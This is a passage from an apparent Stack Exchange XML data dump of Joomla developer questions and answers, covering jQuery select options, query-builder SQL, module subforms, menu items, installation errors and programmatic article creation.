$prepared[$encodedName]['length']);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;At this point you have this array data/structure:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;array (&#xA;  'ALLIANZ' =&amp;gt; &#xA;  array (&#xA;    'value' =&amp;gt; '86,96',&#xA;    'glue' =&amp;gt; '&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;',&#xA;  ),&#xA;  'AIG' =&amp;gt; &#xA;  array (&#xA;    'value' =&amp;gt; '88,32',&#xA;    'glue' =&amp;gt; '&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;',&#xA;  ),&#xA;  'LLOYDS' =&amp;gt; &#xA;  array (&#xA;    'value' =&amp;gt; '118,11',&#xA;    'glue' =&amp;gt; '&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;',&#xA;  ),&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here is a (&lt;a href=&quot;https://3v4l.org/5jsak&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHP Demo&lt;/a&gt;). Then return your json:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo json_encode($prepare)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;In your javascript, you need to iterate the associative structure.  &lt;code&gt;append()&lt;/code&gt; is okay to use, but generating html tags from arguments via an object (&lt;code&gt;jQuery('&amp;lt;option&amp;gt;', {...attributs&amp;amp;values})&lt;/code&gt;) is going to automatically apply html encoding as a security measure.  Instead, create &lt;code&gt;&amp;lt;option&amp;gt;&lt;/code&gt; tags as strings and append them as children into the &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;dataType: &amp;quot;json&amp;quot;,&#xA;success: function(data) {&#xA;    data = {...{&amp;quot;&amp;quot;:{glue: &amp;quot;&amp;quot;, value:&amp;quot;Επιλέξτε τύπο πλωτού&amp;quot;}, ...data}};  // prepend your static property to the incoming object&#xA;    jQuery.each(data, function (encodedName, subdata) {&#xA;        jQuery('#ff_elem9589').append(&#xA;            '&amp;lt;option value=&amp;quot;' + encodedName + '&amp;quot;&amp;gt;'&#xA;            + encodedName + subdata.glue + subdata.value&#xA;            + '&amp;lt;/option&amp;gt;'&#xA;        );&#xA;    });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Since &lt;code&gt;&amp;lt;option&amp;gt;&lt;/code&gt; tags cannot contain html tags (in a valid HTML document as far as I know), you can only try to hack the display by applying &lt;code&gt;font-family: monospace&lt;/code&gt; styling upon the option tags.  This will ensure that all character have the same width -- this gives the effect of the split text being stuck to the left and right of each visible option.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iPQU5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iPQU5.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Relevant reading:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/26358408/2943403&quot;&gt;align two words in a select option&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/12441464/2943403&quot;&gt;Aligning part of a select option's text on the left and part on the right?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/58508248/2943403&quot;&gt;How can I align part of text inside  in select&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Ultimately, I have to say that this probably a little too unsavoury of a hack for my liking.  Unless you are fully committed to this approach, I recommend a re-think.  Perhaps consider a set of radio buttons with the values; you might add a collapse/expand effect if you need to minimise the footprint on the webpage.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2021-07-18T04:46:35.293" LastActivityDate="2021-07-18T04:46:35.293" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="30372" PostTypeId="1" CreationDate="2021-07-17T03:48:49.587" Score="2" ViewCount="91" Body="&lt;p&gt;I'm creating a new component.&#xA;I have a VERY long series of steps that are being processed within a helper file (called by the controller - in the postSavHook function).&lt;/p&gt;&#xA;&lt;p&gt;Within the controller function as well as within the helper I would like to display an update to the user as each step completes; however, I'm not exactly sure what would be the best approach.&lt;/p&gt;&#xA;&lt;p&gt;I've tried the enqueueMessage approach, but it never fires.&lt;/p&gt;&#xA;&lt;p&gt;I AM able to display errors when needed using the 'throw new Exception' process.&lt;/p&gt;&#xA;&lt;p&gt;Any suggestions on how I could get something like the enqueueMessage type display but called from the controller or helper and updated several times throughout the process of a long function?&lt;/p&gt;&#xA;&lt;p&gt;These are some things I've tried:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;//this works - although it obviously stops further code processing&lt;br /&gt;&#xA;throw new Exception(JText::_('COM_MYCOMP_ERROR_MESSAGE_NOT_FOUND'), 972);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;//this doesn't seem to work (doesn't have any effect):&lt;br /&gt;&#xA;$app = JApplicationCms::getInstance('administrator');&lt;br /&gt;&#xA;$app-&amp;gt;enqueueMessage('My Message here', 'success');&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;//and neither does this:&lt;br /&gt;&#xA;JFactory::getApplication()-&amp;gt;enqueueMessage(JText::sprintf('COM_MY_COMPONENT_ALERT1',$countType),'alert');&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Also, this code is running from the admin (not front-end) so it's not an issue with having the template missing the system message display area (as the default admin template has that automatically included).&lt;/p&gt;&#xA;" OwnerUserId="12624" LastEditorUserId="12624" LastEditDate="2021-07-18T13:19:55.787" LastActivityDate="2021-07-18T13:19:55.787" Title="How to display message on admin from within controller or helper file?" Tags="|php|joomla-3.9|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="30374" PostTypeId="1" CreationDate="2021-07-19T13:00:27.497" Score="1" ViewCount="48" Body="&lt;p&gt;I have a custom component, it allows admins to select a related content article from the #__content table using the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&amp;quot;relatedcontent&amp;quot; type=&amp;quot;sql&amp;quot; default=&amp;quot;10&amp;quot; label=&amp;quot;Related item&amp;quot; &#xA;    sql_select=&amp;quot;e.*&amp;quot; &#xA;    sql_from=&amp;quot;#__content AS e&amp;quot; &#xA;    sql_group=&amp;quot;title&amp;quot; &#xA;    sql_order=&amp;quot;e.title ASC&amp;quot; &#xA;    key_field=&amp;quot;id&amp;quot; &#xA;    value_field=&amp;quot;title&amp;quot; &#xA;    header=&amp;quot;Please select your option&amp;quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This then allows me to show in the frontend as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$id_one = $this-&amp;gt;item-&amp;gt;interested_in_one;&#xA;&amp;lt;a href=&amp;quot;&amp;lt;?php echo JRoute::_('index.php?option=com_content&amp;amp;view=article&amp;amp;id=' . $id_one); ?&amp;gt;&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This gets the ID of the selected content article and creates the URL accordingly from above.&lt;/p&gt;&#xA;&lt;p&gt;I need to further extend this by:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;getting the alias (of the content article) in the URL&lt;/li&gt;&#xA;&lt;li&gt;stop Joomla from adding '&amp;amp;Itemid=101' to the end of the URL, or at least load the correct one&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="294" LastActivityDate="2021-07-19T13:00:27.497" Title="Using sql field in custom component" Tags="|joomla-3.x|php|mysql|custom-component|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30375" PostTypeId="1" CreationDate="2021-07-19T14:12:46.780" Score="0" ViewCount="83" Body="&lt;p&gt;I have written a SQL query which works fine and output provides all the data that I need:&lt;/p&gt;&#xA;&lt;p&gt;Please see this screenshot:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/s6lXO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/s6lXO.png&quot; alt=&quot;result&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is the SQL code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT &#xA;    P.name, C.project_id, C.choice_id, C.time_stamp, P.id, &#xA;    P.description, T.type, P.activated&#xA;FROM&#xA;    (SELECT P.*&#xA;     FROM aqoru_pt_project P&#xA;     JOIN&#xA;         (SELECT id, MAX(creation_date) AS latestUpdate&#xA;          FROM aqoru_pt_project&#xA;          GROUP BY id) t ON t.id = P.id AND t.latestUpdate = P.creation_date) P&#xA;JOIN&#xA;    (SELECT C.*&#xA;     FROM aqoru_pt_project_choice C&#xA;     JOIN&#xA;         (SELECT project_id, MAX(time_stamp) AS latestDate&#xA;          FROM aqoru_pt_project_choice&#xA;          GROUP BY project_id) t ON t.project_id = C.project_id AND t.latestDate = C.time_stamp) C ON P.id = C.project_id&#xA;LEFT JOIN &#xA;    aqoru_community_groups_members CGM ON P.group_id = CGM.groupid&#xA;INNER JOIN&#xA;    aqoru_pt_project_type T ON P.type_id = T.id&#xA;WHERE&#xA;    P.user_id = 569 OR CGM.memberid = 569&#xA;    AND CGM.permissions = 1&#xA;    AND P.deactivated != 1&#xA;GROUP BY &#xA;    P.id&#xA;ORDER BY &#xA;    P.id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now I need to push it into php format I was trying without great success as I am struggling mainly with the part where I try to put JOIN in SELECT on the very beginning of the code.&lt;/p&gt;&#xA;&lt;p&gt;Definitely the part after &lt;code&gt;ON P.id = C.project_id&lt;/code&gt; works fine. The problem occurs when I try to add max value from other table.&lt;/p&gt;&#xA;&lt;p&gt;This is the code I wrote, but it does not work:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function getProjects($userID)&#xA;    {&#xA;        $db = JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;        $columns = array('P.id', 'P.name', 'P.description', 'T.type', 'P.activated');&#xA;        $query&#xA;            -&amp;gt;select(array('P.id', 'P.name', 'P.description', 'T.type', 'P.activated', 'max(C.time_stamp) as max'))&#xA;            -&amp;gt;from($db-&amp;gt;quoteName(&#xA;                -&amp;gt;SELECT ('P.*')&#xA;                -&amp;gt;FROM ($db-&amp;gt;quoteName('aqoru_pt_project', 'P')&#xA;                -&amp;gt;JOIN($db-&amp;gt;quoteName(&#xA;                    -&amp;gt;SELECT ('id', 'MAX(creation_date) AS latestUpdate')&#xA;                    -&amp;gt;FROM ($db-&amp;gt;quoteName('aqoru_pt_project')&#xA;                    -&amp;gt;group($db-&amp;gt;quoteName('id')) 't' .  ' ON t.id = P.id AND t.latestUpdate = P.creation_date') P&#xA;                -&amp;gt;JOIN(&#xA;                  -&amp;gt;SELECT ('C.*')&#xA;                  -&amp;gt;FROM ($db-&amp;gt;quoteName('aqoru_pt_project_choice', 'C')&#xA;                    -&amp;gt;JOIN($db-&amp;gt;quoteName(&#xA;                    -&amp;gt;SELECT ('project_id', 'MAX(time_stamp) AS latestDate')&#xA;                    -&amp;gt;FROM ($db-&amp;gt;quoteName('aqoru_pt_project_choice'))&#xA;                    -&amp;gt;group($db-&amp;gt;quoteName('id')) 't' .  ' ON t.project_id = P.project_id AND t.latestUpdate = P.time_stamp') 'C' . 'ON P.id = C.project_id'&#xA;&#xA;            ))&#xA;            -&amp;gt;leftjoin($db-&amp;gt;quoteName('#__community_groups_members', 'CGM') . ' ON P.group_id = CGM.groupid')&#xA;            -&amp;gt;innerjoin($db-&amp;gt;quoteName('#__pt_project_type', 'T') . ' ON P.type_id = T.id')&#xA;            -&amp;gt;where(&#xA;                $db-&amp;gt;quoteName('P.user_id') . ' = ' . $db-&amp;gt;quote($userID),&#xA;            )&#xA;            -&amp;gt;orwhere(array(&#xA;                $db-&amp;gt;quoteName('CGM.memberid') . ' = ' . $db-&amp;gt;quote($userID),&#xA;                $db-&amp;gt;quoteName('CGM.permissions') . ' = 1'&#xA;            ))&#xA;            -&amp;gt;andwhere($db-&amp;gt;quoteName('P.deactivated') . ' != 1')&#xA;            -&amp;gt;group($db-&amp;gt;quoteName('P.id'))&#xA;            -&amp;gt;order('P.id DESC');&#xA;        /*&#xA;         * Note: for some reason the queries return duplicates on the production site not on my local site&#xA;         * So we must group by projectID to avoid duplicates. I am not aware what is causing this duplication&#xA;         */&#xA;&#xA;        return $db-&amp;gt;setQuery($query)-&amp;gt;loadObjectList();&#xA;    }&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Problem is definitely when trying to push join to get my MAX in the very beginning of the query, but I have no idea how to proceed with it.&lt;/p&gt;&#xA;" OwnerUserId="15339" LastEditorUserId="12352" LastEditDate="2021-07-19T21:07:57.773" LastActivityDate="2021-07-20T11:30:10.107" Title="Translate sql with nested queries into query builder methods" Tags="|php|sql|" AnswerCount="0" CommentCount="3" ClosedDate="2021-07-20T11:20:26.903" ContentLicense="CC BY-SA 4.0" />
  <row Id="30376" PostTypeId="1" AcceptedAnswerId="30377" CreationDate="2021-07-20T12:42:08.777" Score="2" ViewCount="99" Body="&lt;p&gt;I have the following XML in my module:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&amp;quot;activities&amp;quot; label=&amp;quot;Activity Details&amp;quot;&amp;gt;&#xA;    &amp;lt;field name=&amp;quot;image&amp;quot; type=&amp;quot;media&amp;quot; directory=&amp;quot;images/location&amp;quot; /&amp;gt;&#xA;    &amp;lt;field name=&amp;quot;title&amp;quot; type=&amp;quot;text&amp;quot; default=&amp;quot;&amp;quot; label=&amp;quot;Activity Name&amp;quot; description=&amp;quot;Enter Activity Name&amp;quot; filter=&amp;quot;raw&amp;quot; /&amp;gt;&#xA;    &amp;lt;field name=&amp;quot;intro&amp;quot; type=&amp;quot;textarea&amp;quot; default=&amp;quot;&amp;quot; label=&amp;quot;Enter intro details&amp;quot; description=&amp;quot;&amp;quot; filter=&amp;quot;raw&amp;quot;/&amp;gt;&#xA;    &amp;lt;field name=&amp;quot;links&amp;quot; type=&amp;quot;subform&amp;quot; formsource=&amp;quot;modules/mod_activities/links.xml&amp;quot; multiple=&amp;quot;true&amp;quot; label=&amp;quot;Links&amp;quot; description=&amp;quot;&amp;quot; /&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;then the links.xml subform looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fieldset name=&amp;quot;links&amp;quot; label=&amp;quot;Links&amp;quot;&amp;gt;&#xA;        &amp;lt;field name=&amp;quot;menulink&amp;quot; type=&amp;quot;menuitem&amp;quot; default=&amp;quot;45&amp;quot; label=&amp;quot;Select a menu item to show&amp;quot; description=&amp;quot;Select a menu item&amp;quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have called them in my module PHP file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$activities = $params-&amp;gt;get('activities');&#xA;$links = $params-&amp;gt;get('links');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I then call them in a foreach loop in the default.php as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&amp;quot;activities&amp;quot; class=&amp;quot;jl-child-width-expand@s&amp;quot; jl-grid&amp;gt;&#xA;&amp;lt;?php foreach ($activities as $activity) : ?&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;jl-card&amp;quot;&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;jl-card-media-top&amp;quot;&amp;gt;&#xA;            &amp;lt;img src=&amp;quot;&amp;lt;?php echo $activity-&amp;gt;image; ?&amp;gt;&amp;quot; alt=&amp;quot;&amp;lt;?php echo $activity-&amp;gt;title; ?&amp;gt;&amp;quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;jl-card-body jl-padding-remove&amp;quot;&amp;gt;&#xA;            &amp;lt;h3 class=&amp;quot;jl-card-title jl-text-primary jl-margin-small-bottom&amp;quot;&amp;gt;&amp;lt;?php echo $activity-&amp;gt;title; ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;?php echo $activity-&amp;gt;intro; ?&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;jl-card-footer&amp;quot;&amp;gt;&#xA;            &amp;lt;?php var_dump($links); ?&amp;gt;&#xA;            &amp;lt;?php var_dump($links); ?&amp;gt;&#xA;            &amp;lt;?php foreach ($links as $link) : ?&amp;gt;&#xA;&#xA;                &amp;lt;?php echo $link-&amp;gt;menulink; ?&amp;gt;&#xA;                &amp;lt;div id=&amp;quot;links&amp;quot;&amp;gt;&#xA;                    &amp;lt;?php var_dump($links); ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;a href=&amp;quot;#&amp;quot; class=&amp;quot;uk-button uk-button-text&amp;quot;&amp;gt;&amp;lt;?php echo $link-&amp;gt;menulink; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;            &amp;lt;?php endforeach; ?&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;'image', 'title' and 'intro' are showing in the frontend, but none of the links are showing. From my var_dump() I'm just getting NULL&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2021-07-20T13:30:29.813" Title="subform inside subform in module" Tags="|php|module|xml|module-params|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30377" PostTypeId="2" ParentId="30376" CreationDate="2021-07-20T13:30:29.813" Score="2" Body="&lt;p&gt;Access the link fields the same way you're accessing other fields, through the main &lt;code&gt;activities&lt;/code&gt; field.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ((array) $activities as $activity) : ?&amp;gt;&#xA;    &amp;lt;?php foreach ((array) $activity-&amp;gt;links as $link) : ?&amp;gt;&#xA;        &amp;lt;?php echo $link-&amp;gt;menulink; ?&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-07-20T13:30:29.813" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30378" PostTypeId="1" CreationDate="2021-07-20T14:11:44.803" Score="1" ViewCount="37" Body="&lt;p&gt;I have the following XML in my module params:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&amp;quot;menulink&amp;quot; type=&amp;quot;menuitem&amp;quot; default=&amp;quot;45&amp;quot; label=&amp;quot;Select a menu item to show&amp;quot; description=&amp;quot;Select a menu item&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If I echo&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$menulink;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then it shows the ID of the menu in the frontend, how can I get the menu name too?&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2021-07-21T04:46:40.653" Title="Show 'menuitem' field name in frontend of module" Tags="|php|menu-item|custom-module|module-params|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30379" PostTypeId="2" ParentId="30378" CreationDate="2021-07-20T14:18:25.357" Score="3" Body="&lt;p&gt;You can use the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$menu = Joomla\CMS\Factory::getApplication()-&amp;gt;getMenu();&#xA;$menuItem = $menu-&amp;gt;getItem($menulink);&#xA;&#xA;echo $menuItem-&amp;gt;title;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you &lt;code&gt;var_dump($menuItem);&lt;/code&gt;, it will show you which properties are available for said menu item.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2021-07-21T04:46:40.653" LastActivityDate="2021-07-21T04:46:40.653" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="30381" PostTypeId="1" CreationDate="2021-07-20T15:20:14.250" Score="1" ViewCount="77" Body="&lt;p&gt;I am new to Joomla, I have installed it on Ubuntu 21.04 / with apache2 &amp;amp; Mariadb-server/client.&#xA;My issue at the moment when attempting to access the Joomla via a web browser and Error appears (see below images)&lt;/p&gt;&#xA;&lt;p&gt;Additionally, I have enabled both the &lt;strong&gt;configuration.php-dist&lt;/strong&gt; &amp;amp; &lt;strong&gt;php.ini&lt;/strong&gt; files to display error reporting, however, no errors are being displayed. I have a sense the error might be related to the joomla.conf, then again ‍♂️&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FENsJ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FENsJ.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here is the joomla.conf:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jRDPl.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jRDPl.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15533" LastActivityDate="2021-09-23T01:20:55.603" Title="Finalizing the Joomla Installation in Ubuntu" Tags="|installation|beginner|" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="30382" PostTypeId="1" CreationDate="2021-07-23T02:26:02.647" Score="1" ViewCount="56" Body="&lt;p&gt;I am trying to develop a hobby project based on &lt;a href=&quot;https://www.themealdb.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.themealdb.com/&lt;/a&gt; api.&lt;/p&gt;&#xA;&lt;p&gt;I am trying to create an article programmatically for &lt;a href=&quot;https://www.themealdb.com/api/json/v1/1/search.php?s=Arrabiata&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.themealdb.com/api/json/v1/1/search.php?s=Arrabiata&lt;/a&gt; and I was able to create an article with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (!defined('_JEXEC')) {&#xA;    define('_JEXEC', 1);&#xA;    define('JPATH_BASE', realpath(dirname(__FILE__)));&#xA;    require_once JPATH_BASE . '/includes/defines.php';&#xA;    require_once JPATH_BASE . '/includes/framework.php';&#xA;    defined('DS') or define('DS', DIRECTORY_SEPARATOR);&#xA;}&#xA;$app = JFactory::getApplication('site');&#xA;&#xA;$url = 'https://www.themealdb.com/api/json/v1/1/search.php?s=Arrabiata';&#xA;&#xA;$response = json_decode(curlFnToGetResponseFromMealDB($url));&#xA;&#xA;$meal = $response-&amp;gt;meals;&#xA;&#xA;$cat_mealdb_id = 233; // I have a function that gets the category&#xA;$tags= []; // I have a function that gets the tags&#xA;&#xA;$args = [&#xA;    'title' =&amp;gt; $meal-&amp;gt;strMeal . '-' . uniqid(),&#xA;    'catid' =&amp;gt; $cat_mealdb_id,&#xA;    'introtext' =&amp;gt; '', //nl2br($meal-&amp;gt;strInstructions),&#xA;    'fulltext' =&amp;gt; '', //nl2br($meal-&amp;gt;strInstructions),&#xA;    'tags' =&amp;gt; $tags&#xA;];&#xA;&#xA;$article_id = prepareArticle($args);&#xA;&#xA;function prepareArticle($args) {&#xA;    $article = [&#xA;        'id' =&amp;gt; !empty($args['id']) ? $args['id'] : null,&#xA;        'catid' =&amp;gt; !empty($args['catid']) ? $args['catid'] : null,&#xA;        'title' =&amp;gt; !empty($args['title']) ? $args['title'] : null,&#xA;        'alias' =&amp;gt; !empty($args['alias']) ? $args['alias'] : null,&#xA;        'introtext' =&amp;gt; !empty($args['introtext']) ? $args['introtext'] : null,&#xA;        'fulltext' =&amp;gt; !empty($args['fulltext']) ? $args['fulltext'] : null,&#xA;        'state' =&amp;gt; 1,&#xA;        'language' =&amp;gt; '*',&#xA;        'tags' =&amp;gt; !empty($args['tags']) ? $args['tags'] : [],&#xA;    ];&#xA;    $article_id = createArticle($article);&#xA;    return $article_id;&#xA;}&#xA;&#xA;function createArticle($data)&#xA;{&#xA;    $data['rules'] = [&#xA;        'core.edit.delete' =&amp;gt; [],&#xA;        'core.edit.edit' =&amp;gt; [],&#xA;        'core.edit.state' =&amp;gt; [],&#xA;    ];&#xA;&#xA;    $basePath = JPATH_ADMINISTRATOR . '/components/com_content';&#xA;    require_once $basePath . '/models/article.php';&#xA;    $config = [];&#xA;    $article_model = new ContentModelArticle($config);&#xA;    if (!$article_model-&amp;gt;save($data)) {&#xA;        $err_msg = $article_model-&amp;gt;getError();&#xA;        return false;&#xA;    } else {&#xA;        $id = $article_model-&amp;gt;getItem()-&amp;gt;id;&#xA;        return $id;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is working well. I was able to create an article. Now I need to create custom fields based on the meal.&lt;/p&gt;&#xA;&lt;p&gt;In this case:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a field with name &lt;code&gt;penne rigate&lt;/code&gt;, if not exists. (&lt;code&gt;penne rigate&lt;/code&gt; is the &lt;code&gt;strIngredient1&lt;/code&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the value of &lt;code&gt;strMeasure1&lt;/code&gt; (&lt;code&gt;1&lt;/code&gt; pound to that field)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Map the field to this created article.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;How to create an article field and map it to the article?&lt;/p&gt;&#xA;" OwnerUserId="15539" LastEditorUserId="12352" LastEditDate="2021-07-23T05:04:29.577" LastActivityDate="2021-07-23T05:04:29.577" Title="Adding custom fields on the fly in JOOMLA 3.9" Tags="|joomla-3.x|articles|custom-field|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="30383" PostTypeId="1" CreationDate="2021-07-23T13:57:22.433" Score="1" ViewCount="254" Body="&lt;p&gt;I'm a writer.&lt;/p&gt;&#xA;&lt;p&gt;I'm creating an enhanced Epub novel with Sigil. Within the novel, I display small size pictures. For each picture, I want the reader to click on the legend below the picture that will direct them directly to the picture in a lightbox (or modal or featherlight) on my future website with a code like this :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&#xA;&amp;lt;a href=&amp;quot;https://example.com/#picture_opened_in_a_lightbox&amp;quot;&amp;gt;Picture of Redwoods&amp;lt;/a&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When the reader closes the lightbox (or modal or featherlight), the page of my website, where a smaller sized image (along with other smaller pictures)is displayed, appears.&lt;/p&gt;&#xA;&lt;p&gt;My future website will be with Joomla 3 with Astroid Framework/template.&lt;/p&gt;&#xA;&lt;p&gt;I read about BS modal, BS lightbox, Featherlight but I'm lost. I want to do my own clean code with the least plugins/modules possible.&lt;/p&gt;&#xA;&lt;p&gt;Is it possible to make a link (from an Epub or even an other webpage) to an opened &amp;quot;lightbox (modal ?) image&amp;quot; on a website ? And when you close the lightbox/modal image, the page containing the lightboxe/modal code appears ?&lt;/p&gt;&#xA;&lt;p&gt;Thanks a lot.&lt;/p&gt;&#xA;&lt;p&gt;Lise&lt;/p&gt;&#xA;" OwnerUserId="15542" LastActivityDate="2021-08-01T19:51:08.057" Title="Is it possible to open a lightbox in Joomla 3.9 from an external link inside an Epub?" Tags="|joomla-3.9|modal|weblinks|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
